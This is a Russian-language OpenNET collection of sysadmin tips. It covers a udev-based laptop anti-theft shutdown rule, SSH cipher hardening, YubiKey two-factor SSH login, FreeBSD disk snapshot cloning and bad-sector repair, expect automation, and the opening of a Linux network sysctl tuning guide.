The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

СОВЕТЫ (Краткие заметки, Tips) (все на одной странице)

Администратору [10]
Сетевая подсистема, маршрутизация [20]
Ethernet, ARP, привязка MAC адресов. [30]
NAT, трансляция адресов [25]
Policy routing [12]
PPP, PPTP, PPPOE [13]
Wifi, настройка беспроводного доступа [23]
Ограничение трафика [15]
Пакетные фильтры и фаерволы [3]
Пакетные фильтры в Linux: iptables, ipchains [51]
Пакетный фильтр в FreeBSD: ipfw, IP-Filter [44]
Проблемы работы сети [18]
Туннелинг, VPN, VLAN [40]
Сетевые сервисы [8]
DNS [28]
FTP, Bittorrent [13]
INN [2]
Mail, почта [22]
Безопасность и установка ограничений [14]
Борьба со спамом, фильтрация почты [32]
Отправка и пересылка сообщений на уровне пользователя [10]
NFS [1]
Samba [36]
SNMP [2]
Socks proxy [10]
WWW, Apache httpd [32]
Ограничение доступа и ресурсов, безопасность [24]
Оптимизация и тюнинг Apache [5]
Редирект, mod_rewrite [18]
Прокси сервер Squid [16]
ACL, ограничения трафика и пользователей [16]
Система [10]
FreeBSD специфика [60]
Сис. информация, оптимизация и тюнинг FreeBSD [24]
Увеличение безопасности FreeBSD [7]
Установка и апгрейд FreeBSD и приложений. [54]
Linux специфика [51]
Оптимизация и тюнинг в Linux [34]
Увеличение безопасности Linux [13]
Установка и работа с пакетами программ в Linux [89]
OpenBSD [3]
Solaris специфика [13]
Syslog, ведение логов [22]
Диски и файлы [46]
CD-ROM, CD-R, AudioCD: [0]
RAID массивы [27]
Ramdisk, tmpfs [2]
Диагностика и Восстановление после сбоя [26]
Квоты [3]
Монтирование [42]
Резервное копирование [25]
Файловые системы [34]
Загрузка, однопользовательский режим [24]
Кластерные технологии [16]
Поддержка аппаратного обеспечения [76]
Просмотр состояния и мониторинг системы [58]
Установка и синхронизация времени [5]
Безопасность [24]
Ограничение доступа и безопасность Apache: [0]
ipfw, IP-Filter: [0]
iptables, ipchains: [0]
Безопасность почтовой подсистемы: [0]
Увеличение безопасности FreeBSD: [0]
Увеличение безопасности Linux: [0]
SSH [29]
Виртуализация - Xen, OpenVZ, KVM, Qemu [53]
Помещение программ в chroot [18]
Шифрование, PGP [51]
Маршрутизаторы Cisco, VoIP [37]
AAA, контроль dial-up пользователей [3]
ACL, ограничение доступа, безопасность [11]
VoIP [13]
Настройка маршрутизации (BGP, OSPF, RIP) [7]
Ограничение и учет трафика на Cisco [10]
Пользователю [19]
Работа с электронной почтой: [0]
CD, CD-R, DVD, AudioCD [32]
Wine [17]
X Window [98]
Запись и обработка звука [30]
Карманные ПК [10]
Мгновенный обмен сообщениями (Jabber, ICQ) [9]
Мобильные телефоны [13]
Обработка изображений и видео [47]
Особенности работы с CPU от AMD [2]
Печать [9]
Работа в консоли [26]
Работа с Web и Ftp [54]
Редактирование текстов [16]
Русификация [47]
Файлы, копирование, архивация [35]
Программисту и web-разработчику [8]
C/C++, сборка, отладка [27]
Perl [11]
CGI [9]
Regex (регулярные выражения) [7]
Массивы и Хэши [10]
Отладка программ на Perl [2]
Переменные в Perl [9]
Полезные подпрограммы на Perl [15]
Обработка изображений на Perl [4]
Подпрограммы для WEB [6]
Работа с сетью и IP адресами на Perl [7]
Работа со временем и датами [7]
Работа с файлами [5]
Работа с электронной почтой [6]
Функции и модули в Perl [11]
PHP [7]
Regex (регулярные выражения) [5]
Конструкции языка и функции [5]
Серверная часть и интерпретатор [11]
Shell [31]
Готовые скрипты [30]
SQL и базы данных [13]
MySQL специфика [16]
Оптимизация и администрирование MySQL [36]
PostgreSQL специфика [28]
PlPerl и PlSQL [6]
Оптимизация и администрирование PostgreSQL [29]
Web-технологии [7]
CGI на Perl: [0]
CSS и оформление с использованием стилей [5]
HTML [7]
JavaScript [10]
Системы контроля версий и управления исходными текстами [18]

   Администратору

----* Простое устройство для защиты данных в случае кражи ноутбука (доп. ссылка 1)   [комментарии]
 
Майкл Олтфилт (Michael Altfield) предложил простое и эффективное устройство
для блокирования доступа к конфиденциальным данным в случае кражи ноутбука с
активным пользовательским сеансом. Суть метода в контроле за подключением к
ноутбуку определённого USB-устройства, прикреплённого к владельцу (аналогично в
качестве признака можно использовать достижимость Bluetooth смартфона владельца
или метку RFID).


Во время работы в общественном месте или парке на ноутбуке активируется
специальное правило UDEV, которое контролирует активность подключения к
USB-устройству. В случае отсоединения USB-устройства (когда злоумышленник
выхватил ноутбук) UDEV-правило выполняет скрипт для завершения сеанса, удаления
каталога с конфиденциальными данными, шифрования данных или отмонтирования
шифрованного раздела.

Пример udev-правила для блокировки экрана при извлечении любого USB-устройства:

   sudo vi /etc/udev/rules.d/busKill.rules

   ACTION=="remove", SUBSYSTEM=="usb", RUN+="DISPLAY=:0 xscreensaver-command -lock"

   sudo udevadm control --reload


Для привязки к определённому USB-устройству необходимо узнать его идентификатор
(нужно подключить устройство, запустить udevadm monitor и извлечь устройство):
  
   udevadm monitor --environment --udev

   ACTION=remove
   ID_MODEL="Micromax_A74"
   SUBSYSTEM=usb

Модифицируем правило /etc/udev/rules.d/busKill.rules

   ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="DISPLAY=:0 xscreensaver-command -lock"





Как вариант предложено дополнительно использовать магнитный разъединитель
USB-кабеля, подключённый до брелока с ключами шифрования данных. Далее брелок
подсоединяется цепочкой к одежде или руке владельца. При выдёргивании ноутбука
во время работы брелок с ключами шифрования остаётся у владельца, а UDEV-скрипт
экстренно выключает устройство.


   ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="shutdown -h now"

Активировать правило блокировки можно автоматически при подключении
USB-устройства, добавив UDEV-правило с обработчиком ACTION=="bind"

   ACTION=="bind", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="/root/killcord_on.sh"

/root/killcord_on.sh

   cat << EOF | tee /etc/udev/rules.d/busKill.rules
   ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="Micromax_A74", RUN+="shutdown -h now"
   EOF
   udevadm control --reload
 
----* Настройка SSH для использования наиболее защищённых алгоритмов шифрования (доп. ссылка 1)   [комментарии]
 
В свете появления сведений об организации АНБ атак, направленных на
получение контроля над SSH-соединениями, подготовлено руководство с
рекомендациями по усилению защищённости SSH. АНБ может получить контроль за
SSH-соединением  в случае использования уязвимых методов шифрования или в
результате захвата приватных ключей. Ниже представлены советы по отключению
потенциально проблемных алгоритмов и усилению защиты.


Обмен ключами.

Применяемые в SSH методы обмена ключей  DH (Diffie-Hellman) и ECDH (Elliptic
Curve Diffie-Hellman) можно считать безопасными. Из 8 поддерживаемых в SSH
протоколов обмена ключами вызывают подозрения три,  основанные на рекомендациях
NIST: ecdh-sha2-nistp256, ecdh-sha2-nistp384, ecdh-sha2-nistp521. Не
заслуживающими полного доверия также можно считать протоколы, использующие
потенциально проблемный SHA1. Протоколы curve25519-sha256 и diffie-hellman-group-exchange-sha256
 пока не вызывают сомнений в безопасности.

Для использования только заслуживающих доверия протоколов обмена ключами в
/etc/ssh/sshd_config  для сервера следует указать:

    KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256

Аналогичные настройки для клиента, в /etc/ssh/ssh_config:

   Host *
      KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256

В /etc/ssh/moduli можно указать (или удалить строки с размером ключа, менее 2048):

   ssh-keygen -G /tmp/moduli -b 4096
   ssh-keygen -T /etc/ssh/moduli -f /tmp/moduli


Аутентификация.

В SSH поддерживается четыре алгоритма аутентификации по открытым ключам: DSA,
ECDSA,  Ed25519 и RSA. ECDSA завязан на технологиях NIST и должен быть
отключен. К сожалению, если просто удалить ключ ECDSA, он будет повторно
сгенерирован, поэтому можно воспользоваться обходным путём с создать заведомо
нерабочую символическую ссылку, которая помешает сгенерировать и использовать ключ:

   cd /etc/ssh
   rm ssh_host_ecdsa_key*
   rm ssh_host_key*
   ln -s ssh_host_ecdsa_key ssh_host_ecdsa_key
   ln -s ssh_host_key ssh_host_key

Так как размер ключей DSA  не может превышать 1024, его тоже следует отключить тем же способом:

   cd /etc/ssh
   rm ssh_host_dsa_key*
   ln -s ssh_host_dsa_key ssh_host_dsa_key

Далее, следует позаботиться о RSA, сгенерировав ключ большего размера:

   cd /etc/ssh
   rm ssh_host_rsa_key*
   ssh-keygen -t rsa -b 4096 -f ssh_host_rsa_key < /dev/null

Для создания клиентских ключей лучше использовать команды:

   ssh-keygen -t ed25519
   ssh-keygen -t rsa -b 4096


Симметричные шифры.

Из 15 поддерживаемых в SSH алгоритмов симметричного шифрования, используемых
для организации защиты установленного канала связи, безопасными можно считать
chacha20-poly1305, aes*-ctr и aes*-gcm. Шифры 3des-cbc и arcfour потенциально
уязвимы в силу использования DES и RC4, cast128-cbc применяет слишком короткий
размер блока (64 бит).

В итоге, в /etc/ssh/sshd_config рекомендуется добавить:

   Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr

В /etc/ssh/ssh_config:

   Host *
      Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr

Код аутентичности сообщения (MAC).

Для шифров в режиме  CTR для гарантирования  целостности передаваемых блоков
доверия заслуживает только метод Encrypt-then-MAC ("*-etm", MAC добавляется  к
уже зашифрованному блоку). Методы MAC-then-encrypt и Encrypt-and-MAC
потенциально подвержены атакам. Из 18 доступных в SSH алгоритмов MAC  сразу
следует отбросить основанные на хэшах  MD5 и SHA1, не стойких к выявлению
коллизий, а также алгоритмы использующие размеры ключей менее 128 бит и размеры
тегов менее 256 бит. В итоге, наиболее безопасными MAC  можно считать
hmac-sha2-512-etm и hmac-sha2-256-etm.

В /etc/ssh/sshd_config:

   MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com

В /etc/ssh/ssh_config:

   # Для GitHub в качестве исключения добавляем mac-sha2-512, так как он не поддерживает Encrypt-then-MAC.
   Host github.com
       MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512

   Host *
      MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com


Защита от утечки ключей.

Наиболее простым способом получения контроля за SSH-соединением является захват
ключей на стороне клиента или сервера. Рекомендации сводятся к соблюдению
типовых правил поддержания безопасности системы: оперативная установка
обновлений, установка программ только из надёжных источников, установка только
действительно необходимых программ и сервисов, использование программ для
которых доступны исходные тексты, включение дополнительных механизмов защиты
(Grsecurity, сборка с флагом -fstack-protector).

Для защиты ключей следует выбрать надёжный пароль доступа к клиентским файлам
ключей. При формировании ключа для увеличения числа итераций хэширования можно
использовать опцию "ssh-keygen -o -a число", что  усложнит подбор пароля. Также
можно сохранить ключи только на внешнем носителе, подключая его только во время
соединения по SSH.

Защита от анализа транзитного трафика.

SSH-сервер можно настроить в виде скрытого сервиса Tor, что скроет IP, а также
добавит дополнительный слой шифрования и аутентификации.

Для приема соединений только через скрытый сервис Tor можно использовать следующие настройки:

В /etc/ssh/sshd_config (для приема соединений из LAN следует вместо привязки к
127.0.0.1 использовать для ограничения доступа межетевой экран):

   ListenAddress 127.0.0.1:22

В /etc/tor/torrc добавим:

   HiddenServiceDir /var/lib/tor/hidden_service/ssh
   HiddenServicePort 22 127.0.0.1:22

Имя скрытого хоста для подключения можно найти в файле /var/lib/tor/hidden_service/ssh/hostname. 

Для настройки подключения клиента к скрытому сервису Tor в  /etc/ssh/ssh_config можно добавить:

   Host *.onion
       ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport=9050
 
----* Двухфакторная аутентификация SSH с использованием YubiKey (доп. ссылка 1)   Автор: Dvenum  [комментарии]
 
Все началось с того, что я приобрел YubiKey и захотел использовать его для
двухфакторной аутентификации SSH. Я также хотел иметь возможность восстановить
доступ к серверу на случай, если потеряю ключ. Информация о том, как это
сделать, слишком разрознена, поэтому я написал собственное руководство.

Вещи, которые необходимо знать:

* HOTP -- это алгоритм генерации одноразового пароля на основе счетчика.
Счетчик меняется каждый раз, когда генерируется новый пароль.
* TOTP -- алгоритм генерации пароля в зависимости от таймера, регулярно
генерируется новый пароль. (30 секунд в этом случае).

В результате, вы входите через SSH, видите запрос пароля и вводите пароль,
предоставленный OTP, системой одноразовых паролей (one-time password) от YubiKey.

Для аварийного доступа я настроил возможность аутентификации с помощью
Android-приложения Google Authenticator. Я настраивал все на Debian Wheezy
сервере, но это должно работать и для других похожих систем.

Вам необходимо установить libpam-oath на сервере (>=1.12.4-1 или вы не сможете
использовать аварийный вход).
На вашем компьютере необходимо установить yubikey-personalization-gui, oathtool
и libmime-base32-perl.

Когда вы установите необходимые программы и библиотеки, то прежде, чем
приступать к настройке, убедитесь, что у вас открыт дополнительный терминал с
правами root, чтобы можно было исправить возможные ошибки.

Ключ ниже указан просто для примера, вам необходимо подставить свой.

Настройка YubiKey.

Для начала, используем yubikey-personalisation-gui, чтобы настроить YubiKey и
сгенерировать ключ. Укажите OATH-HOTP режим, отключите token идентификацию и
скопируйте ключ куда-нибудь, он понадобится для настройки сервера. Не забудьте
сохранить настройки в YubiKey.

Создайте файл /etc/users.oath на сервере с содержанием:

   HOTP robin - 8a54ac40689f0bb99f306fdf186b0ef6bd153429

где robin это имя пользователя, использующего ключ, а большая шестнадцатиричная
строка это ключ без пробелов, который вы сгенерировали ранее.

Установите возможность читать файл только для root:

   # chmod 600 /etc/users.oath

Измените /etc/pam.d/sshd таким образом, чтобы строка

   @include common-auth

была раскомментирована, а после нее добавьте следующее:

   auth required pam_unix.so nullok_secure

   # OATH OTP
   auth required pam_oath.so usersfile=/etc/users.oath window=20

window=20 указывает, как много раз может быть нажата кнопка на YubiKey перед
входом. Иными словами, как далеко в последовательности OTP модуль будет искать совпадение.

Измените sshd_config, чтобы он разрешал вызов-ответ (Challenge-Response) аутентификацию.

   sed -i.bak -E -e 's/(ChallengeResponseAuthentication) no/\\1 yes/' /etc/ssh/sshd_config

Вы можете проверить последовательность следующим образом:

   $ oathtool -w10 8a54ac40689f0bb99f306fdf186b0ef6bd153429
   333518
   886962
   ...

Если вы нажмете кнопку на YubiKey несколько раз, вы дожны увидеть точно такую
же последовательность.

Перезапустите ssh демон и все должно работать. Вам нужно ввести пароль, вы
нажимаете на кнопку YubiKey.

Настройка Google Authenticator

Это будет аварийным входом на случай, если вы потеряете ключ. Используем здесь
повременной счетчик TOTP вместо счетчика на основе последовательности.

Для начала сгенерируйте случайный десятибайтовый ключ (20 символов в шестнадцатиричном виде):

   $ head -c 1024 /dev/urandom | openssl sha1 | tail -c 21 
   2c2d309a7a92e117df5a

Добавьте строку в /etc/users.oath:

   HOTP/T30 robin - 2c2d309a7a92e117df5a

T30 означает, что используется повременной алгоритм с 30-и секундной ротацией.

Перед тем, как добавить этот же ключ в android приложение, мы должны представить его в base32 виде:

   $ perl -e 'use MIME::Base32 qw( RFC ); print  lc(MIME::Base32::encode(pack("H*","2c2d309a7a92e117df5a")))."\\n";'
   fqwtbgt2slqrpx22

Эта команда на perl из шестнадцатиричного ключа сначала получает двоичный,
который потом преобразовывает в base32.
Проверить, что все работает, можно так:

   $ oathtool --totp -w10 2c2d309a7a92e117df5a
   125557
   804612
   ...

Последовательность должна совпадать с той, которую отдает android приложение.
Поскольку алгоритм генерации основывается на времени, то разница времени на
устройствах должна не превышать пары секунд.

Теперь вы можете войти на сервер через повременной ключ, сгенерированный
приложением или с помощью пароля, сгенерированным нажатием на кнопку YubiKey.

Примечания

Когда вы залогиньтесь, файл users.oath будет изменен, в него будет записано
новое значение счетчика и время. Убедитесь, что файл не открыт в текстовом редакторе.

Если кто-нибудь нажмет кнопку YubiKey много раз (больше двадцати для этого
примера), то ключ рассинхронизируется с сервером и вам придется сбросить его,
сгенерировав новый и заменив старый в users.oath.

Есть еще libpam-google-authenticator, который ведет себя похожим образом, но
недоступен для Debian Wheezy.

Если у вас много сервереров и вы хотите использовать один YubiKey для всех, то
вам потребуется что-нибудь вроде центрального сервера аутентификации, чтобы
избежать рассинхронизации ключей.
 
----* Поиск "проблемных" бинарников в системе   Автор: Карбофос  [комментарии]
 
Если в системе по каким-то причинам есть бинарные файлы, а нет внешних
библиотек к ним, то этот скрипт поможет достаточно просто найти такие файлы:

   #!/bin/bash
   # скрипт для поиска проблемных файлов
   # список директорий для поиска
   directory=("/usr/bin/" "/usr/sbin/" "/bin/" "/usr/lib/" "/usr/lib64/")
   toreplace="=> not found"

   # Loop through our array.
   for x in ${directory[@]}
   do
     # Find all Files
     # for i in $(find $x -type f -executable)
     for i in $(find $x -type f)
     do
     # если ldd выдает ошибку "not found".. 
     n=`ldd "$i" | grep found 2>/dev/null`
     if [ -n "$n" ]; then
     #  echo $i " not found lib: " $n
     #  с небольшой корректировкой, выкидываем "=> not found"
        echo "$i  not found lib(s): $n" | sed "s/$toreplace//g"
     fi
     done
   done
 
----* Доступ к файлам виртуальных машин VMware ESX из Fedora Linux (доп. ссылка 1)   Автор: Andrey Markelov  [обсудить]
 
Richard W.M. Jones в своем блоге опубликовал интересный пост
(http://rwmj.wordpress.com/2010/01/06/examine-vmware-esx-with-libguestfs/) о
работе при помощи утилит libguestfs с образами VMware ESX4. Немного дополнив,
напишу, в чем суть.

Во-первых нам понадобятся пакеты fuse-sshfs и guestfish. Первый позволяет
монтировать при помощи FUSE удаленную файловую систему по SSH FTP, а второй
установит в систему интерактивную командную оболочку, из которой можно получать
доступ к образам дисков виртуальных машин, в том числе и vmdk. Естественно, в
системе должны присутствовать стандартные компоненты виртуализации Fedora, в
частности, работающий демон libvirtd.

Для начала проверяем, какие присутствуют на хосте ESX виртуальные машины:

   $ virsh -c esx://192.168.1.12?no_verify=1 list --all
   Enter username for 192.168.1.12 [root]:
   Enter root password for 192.168.1.12:
   ID Имя Статус
   ----------------------------------
   208 www выполнение
   224 mail выполнение
   - 2RHEL5_DS отключить
   - 2W2003_DC отключить
   - RHEL5_IPA отключить
   - RHEL5_Satellite53 отключить
   - RHEL5_Server1 отключить
   - RHEL5_Station отключить
   - RHEL5_Station2 отключить
   - RHEL5_Zimbra отключить

Далее смонтируем через FUSE соответствующую директорию файловой системы vmfs:

   $ mkdir esx
   $ sshfs root@192.168.1.12:/vmfs/volumes esx
   root@192.168.1.12's password:
   $ cd esx/
   $ ls
   4ac343f6-500e2828-d805-0022640793d2 LocalStorage1

Естественно, мы ничего нового по сравнению с тем, что нам покажет vCenter
client, не увидели. Далее переходим в директорию с нужной нам виртуальной машиной:

   $ cd LocalStorage1/RHEL5_IPA/
   $ ls
   RHEL5_IPA-flat.vmdk RHEL5_IPA.vmdk RHEL5_IPA.vmx vmware.log
   RHEL5_IPA.nvram RHEL5_IPA.vmsd RHEL5_IPA.vmxf

При помощи новой утилиты virt-list-filesystems (в версии libguestfs репозитория
Fedora 12 пока ее нет, зато есть в Rawhide) смотрим какие разделы доступны
внутри образа:

   $ virt-list-filesystems -al RHEL5_IPA-flat.vmdk
   /dev/sda1 ext3
   /dev/vol0/home ext3
   /dev/vol0/root ext3
   /dev/sda3 swap

И, наконец, запускаем интерактивную командную оболочку:

   $ guestfish --ro -a RHEL5_IPA-flat.vmdk -m /dev/vol0/root

   Welcome to guestfish, the libguestfs filesystem interactive shell for
   editing virtual machine filesystems.

   Type: 'help' for help with commands
   'quit' to quit the shell

   > ll /
   total 192
   drwxr-xr-x. 22 root root 4096 Oct 24 07:47 .
   dr-xr-xr-x 29 root root 0 Jan 8 12:59 ..
   drwxr-xr-x. 2 root root 4096 Oct 7 15:07 bin
   drwxr-xr-x. 2 root root 4096 Oct 7 13:45 boot
   drwxr-xr-x. 4 root root 4096 Oct 7 13:45 dev
   drwxr-xr-x. 93 root root 12288 Oct 24 07:47 etc
   drwxr-xr-x. 2 root root 4096 Oct 7 13:45 home
   ....

Ну, а дальше man guestfish и help для списка команд оболочки. Для виртуальных
машин с включенным SELinux крайне желательно использовать ключ --selinux, иначе
при попытке записи файлов вы можете создать при монтировании образа r/w файлы
без меток SELinux.
 
----* Быстрый способ учета трафика на сетевых интерфейсах (доп. ссылка 1)   Автор: Gleb Poljakov  [комментарии]
 
Дано:
Почтовый сервер на базе Ubuntu 8.10
Четыре сетевых интерфейса

Необходимо:
Считать трафик на каждом интерфейсе, вести статистику.

Решение:
vnstat (http://humdi.net/vnstat/) - маленький консольный пакет, который считает трафик 
на указанных интерфейсах и не загружает систему. Показывает статистику по часам, дням неделям и тд.
Не требует для своей работы привилегий суперпользователя, поддерживает Linux,
*BSD и Darwin/MacOS X.
Для доступа к статистике дополнительно доступен web-интерфейс.

Устанавливаем vnstat:

   #apt-get install vnstat

Инициализируем базу данных для каждого необходимого интерфейса:

   #vnstat -u -i eth0
   #vnstat -u -i eth1
   #vnstat -u -i eth2

Далее необходимо сказать vnstat запустить мониторинг интерфейса.
Это можно сделать путем ifdown/ifup для каждого интерфейса,
либо, если нет желания 
разрывать соединения выполнить для каждого:

   #IFACE=eth${i}
   #export IFACE
   #/bin/sh -x /etc/network/if-up.d/vnstat

где ${i} порядковый номер интерфейса.

Все, мониторинг готов, теперь по прошествии нескольких минут можно смотреть статистику

   #vnstat -q 
 
----* Клонирование дисков во FreeBSD, используя снапшоты ФС   [комментарии]
 
Создаем снапшот test1 раздела /home

   mount -v -u -o snapshot /home/snapshot/test1 /home

или другой метод:

   mksnap_ffs /home /home/snapshot/test1

Привязываем снапшот к устройству /dev/md1:

   mdconfig -a -t vnode -f /home/snapshot/test1 -u 1

При необходимости снапшот можно смонтировать и посмотреть его содержимое:

   mount -o ro /dev/md1 /mnt
   ....
   umount /mnt

Копируем содержимое раздела на второй диск:

   dd if=/dev/md1 of=/dev/ad4s1f bs=16k

Отключаем снапшот

   mdconfig -d -u 1

Выполняем fsck на новом разделе:

   fsck -f /dev/ad4s1f
 
----* Как избавиться от нечитаемых секторов на диске   [комментарии]
 
В логе smartd появились подобные свидетельства наличия нечитаемых секторов на диске:

   smartd[798]: Device: /dev/ad5, 15 Currently unreadable (pending) sectors
   smartd[798]: Device: /dev/ad5, 15 Offline uncorrectable sectors

SMART тестирование подтвердило подозрения:

   Запускаем фоновый тест диска, не мешающий основной работе:
      smartctl -t long /dev/ad5
   Ждем завершения периодически просматривая статус:
      smartctl -l selftest /dev/ad5
   В итоге смотрим содержимое лога, в самом конце вывода:
      smartctl -a /dev/ad5
   Имеем:
   # 1  Extended offline  Completed: read failure  90% 2916 10373954

Выявляем полный список сбойных секторов, путем чтения всех данных с диска:

   dd if=/dev/ad5 of=/dev/null bs=512 conv=noerror,sync

В один прекрасный момент появятся надписи вида:

   dd: /dev/ad5: Input/output error
   10373954+0 records in
   10373954+0 records out
   5311464448 bytes transferred in 2427.397393 secs (2188131 bytes/sec)

В системном логе увидим:

   kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left)  LBA=10373954
   kernel: ad5: TIMEOUT - READ_DMA retrying (0 retries left) LBA=10373954
   ....
   kernel: ad5: FAILURE - READ_DMA timed out LBA=10374109
   kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left) LBA=10374113

Проверяем, каждый участок еще раз:

   dd if=/dev/ad5 of=/dev/null bs=512 count=1 skip=10373954 conv=noerror,sync

Смотрим какой файл в ФС подпадает под этот блок.

Смотрим и примерно вычисляем номер раздела на который приходится сбойный сектор (LBA 10373954):

   fdisk -s /dev/ad5

   /dev/ad5: 775221 cyl 16 hd 63 sec
   Part        Start        Size Type Flags
   1:          63   398444067 0xa5 0x80
   2:   398444130   382973535 0xa5 0x80

10373954 - 63 = 10373891

   disklabel /dev/ad5s1

   # /dev/ad5s1:
   8 partitions:
   #        size   offset    fstype   [fsize bsize bps/cpg]
     a:  2097152        0    4.2BSD     2048 16384 28552 
     b:  4194304  2097152      swap                    
     c: 398444067        0    unused    0  0 # "raw" part
     d:  2097152  6291456    4.2BSD     2048 16384 28552 
     e: 10485760  8388608    4.2BSD     2048 16384 28552 
     f: 104857600 18874368    4.2BSD     2048 16384 28552 
     g: 104857600 123731968    4.2BSD     2048 16384 28552 
     h: 162127234 228589568    4.2BSD     2048 16384 28552 

Видим, что 10373891 приходится на раздел /dev/ad5s1e
Расчитываем смещение относительно начала раздела:
10373891 - 8388608 = 1985283

Находим иноду, которой принадлежит заданный блок:
   fsdb -r /dev/ad5s1e
   findblk 1985283

повторяем для каждого сбойного сектора 
(для Linux нужно использовать debugfs - http://smartmontools.sourceforge.net/BadBlockHowTo.txt)

Пытаемся записать данные в сбойный сектор, чтобы инициировать процесс
ремапинга на диске.

    sysctl kern.geom.debugflags=16 # иначе будет dd: /dev/ad5: Operation not permitted)
    dd if=/dev/zero of=/dev/ad5 bs=512 count=1 skip=10373954 conv=noerror,sync
    sysctl kern.geom.debugflags=0

Если после записи сектор начал читаться - все ok, 

если нет - резервная область на диске уже заполнена, пробуем запретить
обращещние окружающих секторов в ФС:

   man badsect

  /dev/ad5s1e примонтирован как /usr, создаем директорию /usr/BAD и выполняем
  badsect /usr/BAD 1985283
  fsck -y /dev/ad5s1e

Полезные порты:
   /usr/ports/sysutils/recoverdm 
   /usr/ports/sysutils/diskcheckd
 
----* Почему на нагруженных серверах лучше использовать SCSI диски, а не IDE.   [комментарии]
 
1. Качество исполнения, запас прочности и надежность накопителей со SCSI
интерфейсом как правило выше, чем у IDE.

2. Два подключенных к одному каналу контроллера IDE накопителя, не могут
одновременно передавать данные по шине.

3. SCSI показывают значительно лучшую производительность в загруженной
многозадачной среде, при обилии разрозненных параллельных запросов за
счет более оптимального использования шины передачи данных. (конек IDE -
линейное чтение, сильная сторона SCSI - случайный доступ).

Поясняю: Специфика IDE такова, что запросы могут передаваться по одной
шине последовательно (одна труба передачи данных, однопоточный режим).
Допустим, если 100  процессов обращаются к данным на диске, запросы в
рамках одного канала контроллера будут обрабатываться один за другим, каждый
следующий после полного выполнения  предыдущего (связка: выдача
команды - получение данных).

При  использовании SCSI, допускается перекрытие запросов (организуется
очередь команд), ответы при этом  будут получены распараллеленно
(асинхронная передача), при этом устройство
заведомо зная подробности  по командам находящимся в очереди, производит
оптимизацию самостоятельно - минимизируя движение головок.
 
----* expect для автоматизации операций требующих ручного ввода   [комментарии]
 
#!/usr/bin/expect -f # Забор файла по FTP
spawn ftp ftp.test.ru
expect  "Name*:" { send "ftp\n"}
expect  "Password:" { send "ftp@\n"}
expect "ftp>" {send "bin\n"}
expect "ftp>" {send "prompt no\n"}
expect "ftp>" {send "cd /pub/store\n"}
expect "ftp>" {send "get arc.tar.gz\n"}
expect "ftp>" {send "exit\n"}

#!/usr/bin/expect -f # Выполнение операции используя telnet
spawn telnet cisco.test.ru
expect  "login:" { send "adm\n"}
expect  "Password:" { send "пароль\n"}
expect "#" {send "show users\n"}
expect "#" {send "exit\n"}
 

   Сетевая подсистема, маршрутизация

----* Часто используемые параметры sysctl, касающиеся настройки сети в Linux (доп. ссылка 1)   Автор: zersh  [комментарии]
 
От переводчика (@zersh).

Это адаптированный перевод работы https://github.com/leandromoreira/linux-network-performance-parameters
Для понимания некоторых моментов использовалась статья. Принимаются любые
замечания и предложения. Спасибо zizmo и @servers(Artem) - за помощь и
конструктивную критику)
Лицензия: BSD-3

Введение

Иногда люди пытаются найти некие универсальные значения параметров sysctl
(https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt), применение
которых во всех случаях позволит добиться и высокой пропускной способности, и
низкой задержки при обработке сетевых запросов. К сожалению, это не возможно,
хотя стоит отметить, что современные версии ядер по умолчанию уже неплохо
настроены. Важно понимать, что изменение заданных по умолчанию настроек может
ухудшить производительность (https://medium.com/@duhroach/the-bandwidth-delay-problem-c6a2a578b211).

Это краткое руководство, в котором приведены часто используемые параметры
sysctl, касающиеся настройки сети Linux, вдохновлённый иллюстрированным
руководством по сетевому стеку Linux
(https://blog.packagecloud.io/eng/2016/10/11/monitoring-tuning-linux-networking-stack-receiving-data-illustrated/) и
 многими постами Marek Majkowski (https://blog.cloudflare.com/how-to-achieve-low-latency/).


Обзор сетевых очередей Linux





Связь переменных sysctl с различными стадиями обработки сетевых потоков в Linux


Входящие пакеты (Ingress)

1. Пакеты прибывают в NIC (сетевой адаптер)

2. NIC проверяет `MAC` (если не включён promiscuous-режим) и `FCS (Frame check
sequence)` и принимает решение отбросить пакет или продолжить обработку.

3. NIC используя DMA (https://en.wikipedia.org/wiki/Direct_memory_access),
помещает пакеты в RAM регионе, ранее подготовленном (mapped) драйвером.

4. NIC ставит ссылки в очередь на пакеты при получении ring buffer
(https://en.wikipedia.org/wiki/Circular_buffer) очередь `rx` до истечения
таймаута  `rx-usecs` или `rx-frames`

5. NIC Генерируется аппаратное прерывание, чтобы система узнала о появлении
пакета в памяти `hard IRQ`

6. CPU запустит `IRQ handler`, который запускает код драйвера

7. Драйвер вызовет  `планировщик NAPI`, очистит `hard IRQ` 

8. Драйвер будит подсистему NAPI с помощью `soft IRQ (NET_RX_SOFTIRQ)`

9. NAPI опрашивает данные, полученные из кольцевого буфера до тех пор пока не
истечёт таймаут `netdev_budget_usecs`, или `netdev_budget` и `dev_weight` пакета

10. Linux также выделяет память для `sk_buff`

11. Linux заполняет метаданные: протокол, интерфейс, устанавливает MAC-адрес
(setmacheader), удаляет ethernet

12. Linux передаёт skb (данные) в стэк ядра (`netif_receive_skb`)

13. Установит сетевые заголовки, клонирует `skb` ловушкам (вроде tcpdump) и передаст на вход

14. Пакеты обрабатываются в qdisc (Queueing discipline) размера
`netdev_max_backlog`, алгоритм которого определяется `default_qdisc`

15. Вызывает `ip_rcv` и пакеты обрабатываются в IP

16. Вызывает netfilter (`PREROUTING`)

